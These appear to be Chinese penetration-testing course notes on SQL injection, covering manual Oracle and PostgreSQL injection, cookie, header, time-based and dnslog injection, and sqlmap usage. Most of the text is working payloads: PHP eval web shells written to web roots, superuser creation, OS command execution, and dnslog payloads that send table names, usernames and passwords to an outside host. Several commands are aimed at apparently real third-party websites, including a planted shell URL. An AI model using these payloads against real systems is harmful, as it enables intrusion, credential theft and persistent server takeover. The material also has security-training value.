DAY16+17-其他注入

一.Oracle 手工注入

  1.Oracle数据库介绍

大型网站常用

  是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品

  基于“客户端/服务器”模式结构

  特点

  1.支持多用户、大事务量的处理

  2.数据安全性和完整性的有效控制

  3.支持分布式数据处理

  4.移植性强

  2.判断数据库

  判断注入

  and 1=1

  and 1=2

  判断oracle数据库

  and exists(select * from dual)

  and exists(select * from user_tables)

  3.判断列数

  表示有11列

  order by 11     返回正常

  order by 12     返回错误

  4.获取数据类型不匹配的列

  在每列上逐个用数字代替 如果返回正常说明该列为数字类型,反之则为非数字类型

  ?id= 100 union select 1,2,3,4,5,6,7,8,9,10 from dual

  也可以逐个用引号引起来如:'null','null' ... from dual, 返回正常说明该列为字符类型,反之为非数字类型

  ?id=100 union select 'null','null','null','null','null','null','null','null' from dual

  5.获取基本信息

从dual数据库中获取

  1.获取数据库版本

  (selectbanner from sys.v_$version where rownum=1)

  2.获取操作系统版本

  (select member from v$logfile where rownum=1)

  3.获取连接数据库的当前用户

  (select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)

  4.获取数据库

  (select owner from all_tables where rownum=1)

  5.获取数据库版本

  (select banner from sys.v_$version whererownum=1)

  6.获取操作系统版本

  ( select member from v$logfile where rownum=1)

  7.获取数据库当前用户

  ( select SYS_CONTEXT('USERENV','CURRENT_USER')

  6.获取表名

  获取第一个表

ACCESS$

  (select table_name from user_tables where rownum=1)

  获取第二个表

ALERT_QT

  (select table_name from user_tables where rownum=1 and table_name<>'ACCESS$')

  获取第三个表

  (select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'and table_name<>'ALERT_QT')

  7.获取列名

假设表名为admin

  获取第一列

EMPLOYEE_ID

  (select column_name from user_tab_columns where table_name='admin' and rownum=1)

  获取第二列

NAME

  (select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID')

  获取第三列   

  (select column_name from user_tab_columns where table_name='admin' and rownum=1 andcolumn_name<>'EMPLOYEE_ID' and rownum=1 and column_name<>'NAME')

  8.猜测注入

  1.判断数据库中的表

admin改为username、manager等常用表名继续猜解

  and (select count(*) from admin) <>0

  返回正常,说明存在admin表

  2.判断该网站下管理员个数

如果有多个的话,成功入侵的几率就会加大

  and (select count(*) from admin)=1

  返回正常说明只有一个管理员

  3.指定表名获取列名

  and (select count(name) from admin)>=0

  返回正常,说明存在name字段

  and (select count(pass) from admin)>=0

  返回错误,说明不存在pass字段

  4.猜解管理员帐号和密码

采用ASCII码折半法 ---bool盲注,用工具跑

  判断管理员名字长度

  and (select count(*) from admin where length(name)>=5)=1

  截取name字段的第一个字符,获取它的ascii码值

  and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

  截取name字段的第二个字符,获取它的ascii码值

  and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1

  二.Postgresql 手工注入

  1.Postgresql介绍

  PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES

  PostgreSQL 可以用许多方法扩展,增加了新的数据类型、函数、操作符、聚集函数、索引

  免费使用、修改、和分发PostgreSQL,不管是私用、商用、还是学术研究使用。

  2.Postgresql 数据库注入常用语法

  1.判断是否为postgresql数据库

  ?id=1+and+1::int=1--

  2.判断数据库版本信息

  ?id=1+and+1=cast(version() as int)--

  3.判断当前用户

postgres用户权限比linux的root权限还大

  ?id=1 and 1=cast(user||123 as int)--

  union select null,user,null

  4.判断有多少字段

  order by

  union select null,null,null

  5.判断数据库版本信息

  union selectnull,version(),null--

  6.判断用户权限

  union+select+null,current_schema(),null--

  7.判断当前数据库名称

  union+select+null,current_database(),null--

  8.判断当前表名

  union+select+null,relname,null+from pg_stat_user_tables--

  9.读取指定表的所有列名

  union+select+null,column_name,null+from+information_schema.columns+where+table_name='表名'--

  10.列字段内容

  +union+select+null,name||pass,null+from+admin

  11.查看postgresql数据库的账号密码

  +union+select+null,usename||chr(124)||passwd,null+from+pg_shadow

  12.创建账户

  ;create+user+seven+with+superuser+password+'seven'--

  13.修改postgres用户的密码

  ;alter+user+postgres+with+password+'123456'--

  3.Postgresql 写shell

  1.直接拿shell

要先找到网站根目录

  逐步执行

  ?id=1;create table shell(shell text not null);

  ?id=1;insert into shell values($<?php@eval(_POST[cracer]);?>$$);

  ?id=1;copy shell(shell) to '/var/www/html/shell.php';

  一步到位

  ;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/inetpub/wwwroot/mysql-sql/ddd.php'

  读取文件前20行

  pg_read_file('/etc/passwd',1,20)

  2.创建system函数

用于版本大于8的数据库

  1.创建一个system的函数:

  create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

  2.创建一个输出表:

  create table stdout(id serial,system_out text)

  3.执行shell,输出到输出表内:

  select system('uname -a> /tmp/test')

  4.copy 输出的内容到表里面;

  copy stdout(system_out) FROM '/tmp/test'

  5.从输出表内读取执行后的回显,判断是否执行成功

  union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1--

  3.数据库备份和还原

权限很高,知道账户和密码

  备份数据库

  pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\\mdb.sql”

  远程备份数据库到本地

  pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql

  还原数据库

  psql -h localhost -Upostgres -d mdb

  4.插入一句话木马

权限很高

  1.创建名为ccc的表

  ;create table ccc(w text not null);

  2.向表ccc中插入一句话木马

  ;insert into ccc values($$<?php @eval($_POST[cracer]);?>$$);

  3.导出一句话木马

  ;copy ccc(w) to $$/home/kasugai_tochi/public_html/script/cracer.php$$;

  将一句话木马保存为cracer.php文件

  4.菜刀连接

  http://www.kasugai-tochi.jp/script/cracer.php

  三.各种提交方式的注入漏洞挖掘

  1.常见的提交方式

  GET

  POST

  COOKIE

  HEAD

  PUT

  OPTION

  2.GET注入

  判断注入存在否

  '

  "

  -0

  /

  and 1=1

  and 1=2

  %bf'

魔术引号

  order by 1

  union

  3.POST注入

  可能存在漏洞的位置

  表单

  搜索框

  登录

  留言

  注册

  XDCMS全版本存在sql注入漏洞

需要使用代理抓包改包工具进行完成

  %60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23

  '=(select group_concat(username,0x3a,password) from c_admin where id=1)#

  利用工具

  burp suite抓包改包

  pangolin

  sqlmap

  sqlmap -u http://testasp.vulnweb.com/login.asp --data "tfUPass=1&tfUName=1"

  4.COOKIE注入

cookie提交用于账号密码的cookie缓存

  使用sqlmap

  sqlmap.py -u http://www.jnrcjt.com/onepage3.asp --cookie "id=30" --level 2

  5.HTTP头注入

  常见的http请求中存在注入的参数

  User-agent

  Referer

  X-Forwarded-For

  Client-ip

  exp构造分析

  报错语句

  INSERT INTO blue_comment(com_id, post_id, user_id, type, mood,content, pub_date, ip, is_check) VALUES ('', '1', '0', '1', '6', 'test','1480988752', '1.1.1.1'', '1')

  构造语句

已知表名blue_admin,存在列名为admin_name,pwd

  1.1.1.1','1'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd)from blue_admin limit 0,1),'1645457407','1.1.1.1','1')#

  使用burp抓包

  6.伪静态注入

  参考网站

  注入篇——伪静态注入_伪静态 注入-CSDN博客

  伪静态介绍

  表面上看似是静态网页(以.html、.htm等结尾)+ 不存在任何的数据交互

  却其实是动态网页,存在数据交互的网站

  动态网页的id等参数通过URL重写来隐藏

  判断伪静态

  网址栏输入

  javascript:alert(document.lastModified)

  得到网页最后的修改时间,如果得到的时间和现在时间一致,此页面就是伪静态

  动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间

  使用sqlmap进行自动化注入攻击

  sqlmap -u http://xxx.xx.xx.xx:xx/test.php/id/1.html   --database

  7.延迟注入

延时注入是通过页面返回的时间来判断的

  MYSQL延迟注入

  mysql >=5.0    使用sleep()进行查询

  mysql<5.0       使用benchmark()进行查询

  benchmark用法

通过查询次数增多 时间变得缓慢来判断是否存在延迟

  benchmark(n,sql语句)   n为查询次数

  select benchmark(1000,select * from admin);

  sleep()延迟注入用法

sleep可以强制产生一个固定的延迟。

  sleep()延迟注入核心原理

  and if(true,sleep(5),0); == if(1=1, true, false);

  判断下是否存在延迟注入

  id=1 and sleep(5)

  判断当前用户

  and if(substring(user(),1,4)='root',sleep(5),1)

  判断数据库版本信息是否为5

  and if(mid(version(),1,1)like 5, sleep(5), 1)

  判断数据库版本信息长度

  and if(length((version()))=6,sleep(10),1)--+

  猜解数据库名称

  and if(ascii(substring(database(),1,4))>100,sleep(5),1)

  substring(startIndex, endIndex)

  and if(ascii(substr(database(),1,1))<115,sleep(5),1)--+

  substr(startIndex,lenth)

  使用sqlmap

  sqlmap --time-sec=2

  延迟注入2s

  可扩展标记语言,标准通用标记语言的子集

  8.dnslog 注入

dnslog 平台会记录域名dns查询记录

  网站

  DNSLog Platform

  条件

  root权限

  要借助load_file()函数

  原理

  通过我们把查询的结果和dns子域名拼接,发送给dnslog平台查询

  就会记录我们的语句查询结果,从而快速提升延迟注入速度。

  查表名

  and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+

  and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 1,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+

  查列名

  and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+

  and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 1,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+

  列数据

  and if((select load_file(concat('\\\\',(select username from user limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+

  and if((select load_file(concat('\\\\',(select password from user limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+

  9.BASE64编码注入

  解码

  $id=base64_decode($id);

  编码

  ?id=1' union 1,2,3,4,5,6

  ?id=MScgdW5pb24gMSwyLDMsNCw1LDY=

  10.二阶注入

  原理

  1.攻击者在一个HTTP请求中提交恶意输入

  2.用于将恶意输入保存在数据库中。

  3.攻击者提交第二个HTTP请求。

  4.为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句。

  5.如果攻击实现,在第二个请求的响应中向攻击者返回结果。

  攻击利用

  攻击存储

  注入攻击

  11.PHPV9authkey 注入

针对phpv9

  不如该版本的任意上传漏洞

  参考网站:

  PHPcms V9 任意文件上传漏洞_phpcms v9漏洞-CSDN博客

  利用exp爆出authkey

  phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

  然后本地构造注入页面进行注入

  12.XML 实体注入

用户数据存放在xml文件当中

  参考网站

  XML注入_xml注入例子-CSDN博客

  XML介绍

XML是用来存储数据的

  是一种用于标记电子文件使其具有结构性的标记语言。

  XML提供了一套跨越平台,跨网络,跨应用程序的语言的描述方式。

  使用XML可以方便的实现数据交换,系统配置,内容管理等。

  漏洞形成原因

  系统对用户输入"<",">"没有做转义的处理

  用户可以控制

  利用方式

读取文件内容

  1.使用burp抓包

  2.构造xml格式

  3.改可显示变量为设定的xml变量

  13.首尾闭合注入

  注入语句

  ?id=1') order by 1-- and ('1=1')

  执行语句

  select  * from user where id = ('1') order by 1-- and ('1=1')

  14.APP注入漏洞挖掘

  手机需要安crt证书

抓https请求包

  利用抓包工具获取app发送到服务器的链接

  得到链接进行测试

  使用sqlmap

得加--mobile

  sqlmap  --mobile

  四.sqlmap使用

读取数据库--->读取表---->读取表的列---->获取内容

  0.参考网站

  SQLMap 使用参数详解_sqlmap参数_1A_的博客-CSDN博客

  1.简介

  是一个由Python语言编写的开源渗透测试工具

  是一款功能强大的sql漏洞检测利用工具

  2.检测的数据库

  access

  mssql

  mysql

  oracle

  postgresql

  db2

  sqlite

  3.注入类型

  sql盲注

  union查询

  显错注入

  延迟注入

  post注入

  cookie注入

  4.其他功能

  执行命令

  列举用户

  检测权限

  自动破解

  数据导出

  5.基本参数

   -h

查看帮助选项

  --is-dba

当前用户权限

  --dbs

所有数据库

  --current-db

 网站当前数据库

  --users

所有数据库用户

  --current-user

当前数据库用户

  --tables

列表名

  --columns

列字段

  -dump

下载数据到本地

  --dump

获取表中的数据,包含列

  --dump-all

 转存DBMS数据库所有表项目

  --level

测试等级(1-5),默认为1

  -D

  指定数据库

  -T

指定表

  -C

 指定列

  --dbms

指定数据库类型

  --users

枚举所有用户

  --passwords

枚举所有用户密码

  --roles

列出数据库管理员角色

  --privileges

列出数据库管理员权限

  6.探测等级

--level

  等级 1-5,默认为1

  level >= 2时会检测cookie是否有注入

  level >= 3时会检测User-AgentReferer是否有注入

  level >= 5时会检测Host是否存在注入漏洞

  level设置还会影响union注入时检测的列数等

  7.显示调试信息

-v 默认为1

  0:只显示Python的tracebacks信息错误信息[ERROR]和关键信息[CRITICAL];

  1:同时显示普通信息[INFO]和警告信息[WARNING];

  2:同时显示调试信息[DEBUG];

  3:同时显示注入使用的攻击荷载

  4:同时显示HTTP请求

  5:同时显示HTTP响应头

  6:同时显示HTTP响应体

  8.风险等级

不推荐使用 risk >= 3的风险等级,存在修改表数据的风险

  等级1-4,默认为1

  1:会测试大部分的测试语句

  2:会增加基于事件的测试语句

  3:会增加OR语句的SQL注入测试

  在UPDATE的语句中,注入一个OR的测试语句

  可能导致更新的整个表,可能造成很大的风险

  9.获取目标

  1.参数:-u或者--url

  python sqlmap.py -u http://www.target.com/vuln.php?id=1

  2.参数:-m

从文本中获取多个目标扫描

  python sqlmap.py -u http://www.target.com/vuln.php?id=1 -m D:/target.txt

  3.参数:-r

从一个文本文件中获取HTTP请求

  python sqlmap.py -u http://www.target.com/vuln.php?id=1  -r  D:/target.txt

  4.参数:-g

测试注入Google的搜索结果中的GET参数(只获取前100个结果)

  python sqlmap.py -g "inurl:php?id="

  5.参数:--data

把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数

  python sqlmap.py -u "http://www.cracer.com/cracer.php" --data="id=1"

  6.参数:--param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数

  python sqlmap.py -u "http://www.cracer.com/vuln.php" --data="query=foobar;d=1" --param-del=";"

  7.参数:--cookie

将参数加入cookie注入测试

  sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2

  8.参数:--referer

  sqlmap可以在请求中伪造HTTP中的referer

  当--level>=3的时候会尝试对referer注入

  9.参数:--headers

可以通过--headers参数来增加额外的http头

  --hearders "client-ip: 1.1.1.1'"

  10.参数:--proxy

  使用--proxy代理是格式为:http://url:port

  --proxy=http://127.0.0.1:1080

  --proxy-file c:/1.txt

  11.参数:-p

设置想要测试的参数

  -p "id,user-anget"

  10.时间控制

  参数:--delay

  可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

  参数:--timeout

  可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

  设定重试超时

  参数:--retries

  当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

  设定随机改变的参数值

  参数:--time-sec

  当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒

  11.绕过屏蔽策略

web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求

  参数:--safe-url

  提供一个安全不错误的连接,每隔一段时间都会去访问一下。

  参数:--safe-freq

  提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接

  12.保证payload的正常执行

  参数:--prefix,--suffix

  调用数据库代码

  $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

  注入语句

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

  执行语句

  $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

  13.探测注入类型

指定sqlmap使用的探测技术

  支持的探测方式如下

  B: Boolean-based blind SQL injection(布尔型注入)

  E: Error-based SQL injection(报错型注入)

  U: UNION query SQL injection(可联合查询注入)

  S: Stacked queries SQL injection(可多语句查询注入)

  T: Time-based blind SQL injection(基于时间延迟注入)

  14.增加测试的字段数

  参数:--union-cols

  sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp?admin="  --union-cols=10-12

  测试12-16个字段数

  默认情况下sqlmap测试UNION查询注入会测试1-10个字段数

  当--level为5的时候他会增加测试到50个字段数

  15.指定union查询的字符

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败

  参数:--union-char

  16.二阶注入

注入点输入的数据看返回结果的时候并不是当前的页面,而是另外一个页面

  参数:--second-order

  --second-order后面跟一个判断页面的URL地址

  17.快速寻找

数据库和表的数量庞大

  参数:--search

  使用情况

  -C  后跟着用逗号分割的列名, 将会在所有数据库表中搜索指定的列名。

  -T  后跟着用逗号分割的表名,  将会在所有数据库中搜索指定的表名

  -D  后跟着用逗号分割的库名, 将会在所有数据库中搜索指定的库名。

  18.保存文件

  参数:-s

保存HTTP(S)日志

  sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件

  如果用户想指定读取的文件路径,就可以用这个参数。

  参数:-t

保存为文本文件格式

  sqlmap会把HTTP(S)请求与响应的日志保存到那里

  19.默认执行

使用sqlmap提示的默认值一直运行下去

  20.注册表操作

  条件

  当数据库为MySQL,PostgreSQL或Microsoft SQL Server

  并且当前web应用支持堆查询

  当前连接数据库的用户需要有权限操作注册表

  读取注册表值

  参数:--reg-read

  写入注册表值

  参数:--reg-add

  删除注册表值

  参数:--reg-del

  注册表辅助选项

  参数:--reg-key,--reg-value,--reg-data,--reg-type

  示例

  $ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

  21.暴力破解

当使用--tables无法获取到数据库的表时,可以使用此参数。

  1.暴力破解表名

当使用--tables无法获取到数据库的表时,可以使用此参数。

  参数:--common-tables

  无法获取表名

  1、MySQL数据库版本小于5.0,没有information_schema表。

  2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。

  3、当前用户没有权限读取系统中保存数据结构的表的权限。

  使用语句

  xxxx  --common-tables -D testdb

  暴力破解的表在txt/common-tables.txt文件中,也可以自己添加

  2.暴力破解列名

  参数:--common-columns

  使用语句

  xxxx  --common-columns  -T text -D testdb

  与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中

  22.POST注入

  登录框注入

  注入网站示例

  http://testasp.vulnweb.com/Login.asp

  使用语句

  sqlmap.py  -r search-test.txt -p tfUPass

  sqlmap.py -u http://testasp.vulnweb.com/Login.asp --forms

  sqlmap.py -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

  搜索框注入

  使用语句

  sqlmap.py -r search-test.txt

  23.伪静态注入

  注入网站示例

  http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html

  使用语句

  sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.htm

  24.base64编码注入

  sqlmap -u http://ha.cker.in/index.php?tel=12345 --tamper base64encode.py –dbs

  25.执行sql语句

  --sql-query="select @@version"

  参数:--sql-shell

可以执行查询操作

  26.文件读写

从数据库服务器中读取文件

  参数:--file-read

  条件

  当数据库为MySQL,PostgreSQL或Microsoft SQL Server

  并且当前用户有权限使用特定的函数

  读取的文件可以是文本也可以是二进制文件

  使用语句

  sqlmap.py -u "http://192.168.2.3:81/about/show.php?lang=cn&id=22" --file-read="C:\Inetpub\wwwroot\mysql-php\1.php"

  27.文件上传

  参数:--file-write,--file-dest

  条件

  当数据库为MySQL,PostgreSQL或Microsoft SQL Server

  并且当前用户有权限使用特定的函数

  上传的文件可以是文本也可以是二进制文件

  使用语句

  sqlmap.py -u "http://192.168.2.129/article.php?id=5" --file-write="C:\1.php" --file-dest="/var/www/html/x.php"

  28.命令执行

  参数:--os-cmd,--os-shell

--os-shell:自动上传+脚本文件+返回shell

  cmd     执行cmd命令(win)

  shell     执行当前用户命令

  条件

  当数据库为MySQL,PostgreSQL或Microsoft SQL Server

  并且当前用户有权限使用特定的函数

  在MySQL、PostgreSQL,sqlmap上传一个二进制库

  包含用户自定义的函数,sys_exec()和sys_eval()。

  29.WAF绕过注入

  注入网站示例

  http://192.168.159.1/news.php?id=1

  使用语句

  sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs  --batch --tamper "space2morehash.py" space2hash.py   base64encode.py charencode.py

  30.一些杂参数

  --flush-session

清空之前的session

  --hex

解决字符编码的问题,避免导致数据丢失

  --output-dir

可自定义输出路径 例如:--output-dir=/tmp

  --parse-errors

从响应中获取DBMS的错误信息

  --smart

只对能够快速判断为注入的报错点进行注入

  --mobile

设定一个手机的User-Agent来模仿手机登陆

  --identify-waf

尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别

  --check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试


分享:

支付宝

微信